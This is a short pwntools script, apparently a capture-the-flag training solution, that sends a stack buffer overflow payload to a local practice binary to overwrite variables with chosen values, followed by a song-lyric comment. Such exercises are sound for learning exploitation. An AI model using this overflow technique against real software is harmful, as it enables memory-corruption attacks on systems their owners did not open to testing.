# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *
import time
import sf

target = process("./chall-test_BofVar-08-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x48)
bof_payload.add_int32(0x14, 0xfacade)
bof_payload.add_int32(0x10, 0xbeef)
bof_payload.add_int32(0xc, 0xdead)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Afterlife                                |
# +------------------------------------------------+
# | Give me that chance to be that                 |
# | person I want to be                            |
# +------------------------------------------------+

